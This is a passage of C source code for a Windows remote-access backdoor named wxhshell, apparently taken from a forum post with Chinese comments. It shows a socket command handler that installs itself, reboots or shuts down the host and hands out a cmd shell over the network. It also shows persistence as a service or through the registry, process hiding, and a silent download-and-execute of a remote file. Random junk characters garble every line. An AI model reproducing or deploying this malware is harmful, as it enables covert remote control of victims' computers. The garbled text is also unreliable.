  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;>9OgO  
  } &/s~? Iq  
  else { dgS4w@)@V;  
)xB$LJM8  
    switch(cmd[0]) { dh&W;zs  
  2m_'z  
  // 帮助 1"}B]5!  
  case '?': { br0u@G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /61by$E  
    break; Hqvc7-c6  
  } k}D[Hp:m  
  // 安装 _yj1:TtCNT  
  case 'i': { 4,2(nYF  
    if(Install()) BwC<rOU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |*:tyP%m^  
    else 5k69F   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RCI4~q  
    break; aH%ZetLNJ  
    } E;6~R M:  
  // 卸载 uie~'K\y  
  case 'r': { eSl]8BX_  
    if(Uninstall()) 9C_*3?6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s=MT,  
    else -b cG[W3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \a"i7Caa  
    break; oEJaH  
    }  *p=fi  
  // 显示 wxhshell 所在路径 CoU3S,;*  
  case 'p': { =HVfJ"vK  
    char svExeFile[MAX_PATH]; R|iEvt  
    strcpy(svExeFile,"\n\r"); - yoAxPDW  
      strcat(svExeFile,ExeFile); [|4}~UV  
        send(wsh,svExeFile,strlen(svExeFile),0); AHwG<k  
    break; &i5:)d]L  
    } a mqOxb  
  // 重启 "OO96F  
  case 'b': { U^[<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %y>+1hakkX  
    if(Boot(REBOOT)) =_[2n?9y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u?F (1iN =  
    else { =p]mX )I_  
    closesocket(wsh); )!e3.C|V1W  
    ExitThread(0); 9 ~~qAoD  
    } ^] 6M["d/p  
    break; ABc)2"i:*  
    } /}Yqf`CZy  
  // 关机 Hle\ON  
  case 'd': { :r&iM b:Ra  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wUoiXi09  
    if(Boot(SHUTDOWN)) Q"%QQo}}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z?17Pu'Dp  
    else { 0#QKVZq2>  
    closesocket(wsh); p%F8'2)}  
    ExitThread(0); !tU'J"Zy  
    } }f#_4ACaD  
    break; (? \?it-  
    } zOB !(R  
  // 获取shell Q&xjF@I  
  case 's': { bhD ~ 4Rz  
    CmdShell(wsh); %:3'4;jh%  
    closesocket(wsh); GW3>&j_!d  
    ExitThread(0); $2KK:{VX  
    break; n!G.At'JP  
  } @RGDhwS47  
  // 退出 O2.' -  
  case 'x': { ,}0$Tv\1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jH>8bXQqZ  
    CloseIt(wsh); Q(Gyq:L=>  
    break; URA0ey`  
    } r<c #nD~K  
  // 离开 ZjD)? 4  
  case 'q': { o@W_ai_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R`#W wx>b  
    closesocket(wsh); :g2  }C  
    WSACleanup(); E9+HS  
    exit(1); Kb&V!#o)  
    break; QXVC\@  
        } h?Nek+1'  
  } A1),el-^5  
  } -\#lF?fzb  
M0L&~p_F  
  // 提示信息 sN~\+_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >2b`\Q*<  
} khx.yRx  
  } 7Xg?U'X  
A]o4Mf0>I  
  return; ^m!_ 2_q  
} T\9~<"P^  
UKtSm%\  
// shell模块句柄 V`#.7uUP  
int CmdShell(SOCKET sock) W:`#% :C  
{ iWA|8$u4gm  
STARTUPINFO si; F~HRME; Z  
ZeroMemory(&si,sizeof(si)); ]$A(9Pn"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9QwKakci  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !GwL,)0@^  
PROCESS_INFORMATION ProcessInfo; /,s[#J   
char cmdline[]="cmd"; %m&@o~+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i"r!w|j  
  return 0; S6xgiem  
} hyg8wI  
YKZa$@fA?  
// 自身启动模式 4!.(|h@  
int StartFromService(void) vLT0ETHg6  
{ n,$z>  
typedef struct 4J0Rv od_  
{ Hfym30  
  DWORD ExitStatus; LP];x3  
  DWORD PebBaseAddress; i-" p)2d=#  
  DWORD AffinityMask; ][&9]omB  
  DWORD BasePriority; ;dR=tAf0$Q  
  ULONG UniqueProcessId; 1} %B%*N  
  ULONG InheritedFromUniqueProcessId; !RW `3  
}   PROCESS_BASIC_INFORMATION; 2]cRXJ7h  
"IQ/LbOqm_  
PROCNTQSIP NtQueryInformationProcess; ,%9df+5k  
9X$ma/P[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n'1'!J; Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %]2, &  
8s{?v &p  
  HANDLE             hProcess; G\de2Q"d:O  
  PROCESS_BASIC_INFORMATION pbi; Z?5V4F:f  
PwB1]p=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,Wbwg  
  if(NULL == hInst ) return 0; 9iUrnG*  
4JGtI*%5lq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BZ54*\t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EJ@p-}I!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0'YG6(h  
j>-gO,v, y  
  if (!NtQueryInformationProcess) return 0; !8NC# s  
l vMlL5t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R\@/U=iqR  
  if(!hProcess) return 0; PYbVy<xc  
*t[. =_v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =U%Rvm  
( +pLA"xq  
  CloseHandle(hProcess); mGp.3{j  
OxI/%yv-c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y{dTp  
if(hProcess==NULL) return 0; EkgE_8  
X/iT)R]b  
HMODULE hMod; ?7<JQh)"e  
char procName[255];  A) ;  
unsigned long cbNeeded; ]o cWt3|  
QFYWA1<pDh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Utnz)  
Ecd;<$tk  
  CloseHandle(hProcess); oD<kMK  
yE}}c{hSn  
if(strstr(procName,"services")) return 1; // 以服务启动 {}3${  
dZi"$ g  
  return 0; // 注册表启动 S30?VG9U0f  
} :<}=e@/~|  
?b(=1S\E'^  
// 主模块 "jG}B.l=,  
int StartWxhshell(LPSTR lpCmdLine) xuqv6b.  
{ NR`C(^}  
  SOCKET wsl; "?V0$-DR  
BOOL val=TRUE; ;kY(<{2  
  int port=0; `DV.+>O-1  
  struct sockaddr_in door; mV3cp rRqv  
V5UF3'3;}  
  if(wscfg.ws_autoins) Install(); |Y?H A&  
i\,-oO  
port=atoi(lpCmdLine); Wf|Q$MHos  
Tj:B!>>  
if(port<=0) port=wscfg.ws_port; *MKO I'  
`{dm;j5/y  
  WSADATA data; uScMn/%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OX\A|$GS  
uG,5BV.M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    |y(Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RW<D<5C  
  door.sin_family = AF_INET; A~)D[CV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y*qVc E  
  door.sin_port = htons(port); 4 o Fel.o  
aDU<wxnSvO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?8'*,bK  
closesocket(wsl); Zy`m!]G]80  
return 1; 8WXQ Oo8  
} M/b Sud?@%  
8Vr%n2M  
  if(listen(wsl,2) == INVALID_SOCKET) { _852H$H\  
closesocket(wsl); oKuI0-*mR  
return 1; ;ub;l h3  
} F1*>y  
  Wxhshell(wsl); nT7%j{e=L  
  WSACleanup(); EJMM9(DQ7  
H?yK~bGQ  
return 0; %)1y AdG 8  
Hj^1or3R]  
} -t!~%_WCv  
0X6YdW_2X  
// 以NT服务方式启动 TM%| '^)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m*&]!mM"0G  
{ :CG`t?N9M  
DWORD   status = 0; marQNZ  
  DWORD   specificError = 0xfffffff; ZMQ Zs~;~d  
_kef 0K6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M\uiq38  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J,'M4O\S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0CnOL!3.I  
  serviceStatus.dwWin32ExitCode     = 0; we;-~A5J  
  serviceStatus.dwServiceSpecificExitCode = 0; xQ7l~O b  
  serviceStatus.dwCheckPoint       = 0; IaSR;/  
  serviceStatus.dwWaitHint       = 0; }T(D7|^R  
~~D{spMVO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8{^kQ/]'|  
  if (hServiceStatusHandle==0) return; ha]VWt%}  
6AAz  
status = GetLastError(); B-*+r`@Bd  
  if (status!=NO_ERROR) )1?y 8_B  
{ 0yk]o5a++  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g];!&R-  
    serviceStatus.dwCheckPoint       = 0; KI"#f$2&  
    serviceStatus.dwWaitHint       = 0; y6(Z`lx  
    serviceStatus.dwWin32ExitCode     = status; Cjn#00  
    serviceStatus.dwServiceSpecificExitCode = specificError; qU \w=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P_F30 x(  
    return; {&&z-^  
  } \"7*{L:  
Ogqj?]2QC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q`Go`v  
  serviceStatus.dwCheckPoint       = 0; 0{5w 6  
  serviceStatus.dwWaitHint       = 0; sA+ }TNhq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (d(CT;  
} 1KU! tL  
hZm"t/aKc  
// 处理NT服务事件,比如:启动、停止 \[;0 KV_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g_;\iqxL  
{ NDN7[7E  
switch(fdwControl) d-oMQGOklb  
{ iDpSj!x/_  
case SERVICE_CONTROL_STOP: Sj3+l7S?  
  serviceStatus.dwWin32ExitCode = 0; s n8Qk=K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #$.;'#u'so  
  serviceStatus.dwCheckPoint   = 0; 4S7v:1~xe  
  serviceStatus.dwWaitHint     = 0; ))qy;Q,  
  { lt/1f{v[:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8'[~2/  
  } ,V7nzhA2  
  return; Z3Og=XHR  
case SERVICE_CONTROL_PAUSE: l5~os>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  4j*  
  break; AzPu)  
case SERVICE_CONTROL_CONTINUE: [CY9^N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T;4NRC  
  break; >>,e4s,  
case SERVICE_CONTROL_INTERROGATE: Mc)}\{J  
  break; ~?l | [  
}; ${DUCud,kY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L7l FtX+b  
} B.=FSow  
)L? P}$+  
// 标准应用程序主函数 HVRZ[Y<^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &s(^@OayE  
{  -uS!\  
&0d# Y]D4`  
// 获取操作系统版本 _YRFet[,m  
OsIsNt=GetOsVer(); )+#` CIv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @@f"%2ZR[  
e1yt9@k,  
  // 从命令行安装 "69s) ~  
  if(strpbrk(lpCmdLine,"iI")) Install(); I^.Om])  
Cp\6W[2+B  
  // 下载执行文件 y RqL9t  
if(wscfg.ws_downexe) { PrqlTT}Px  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l]5K N  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,~U>'&M;  
} soxc0OlN  
1C+13LE$U  
if(!OsIsNt) { &C_j\7Dq  
// 如果时win9x,隐藏进程并且设置为注册表启动 t 9lPb_70  
HideProc(); w7L{_aom  
StartWxhshell(lpCmdLine); 70?\ugxA  
} M-VX;/&FR  
else iT+8|Yia  
  if(StartFromService()) #~]zhHI  
  // 以服务方式启动 [jQp~&nY  
  StartServiceCtrlDispatcher(DispatchTable); .^`{1%  
else , >a&"V^k  
  // 普通方式启动 i}f"yO+Q+  
  StartWxhshell(lpCmdLine); LBeF&sb6  
kt#fMd$  
return 0; u[;\y|75  
}
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只看该作者 1 发表于: 2006-10-10
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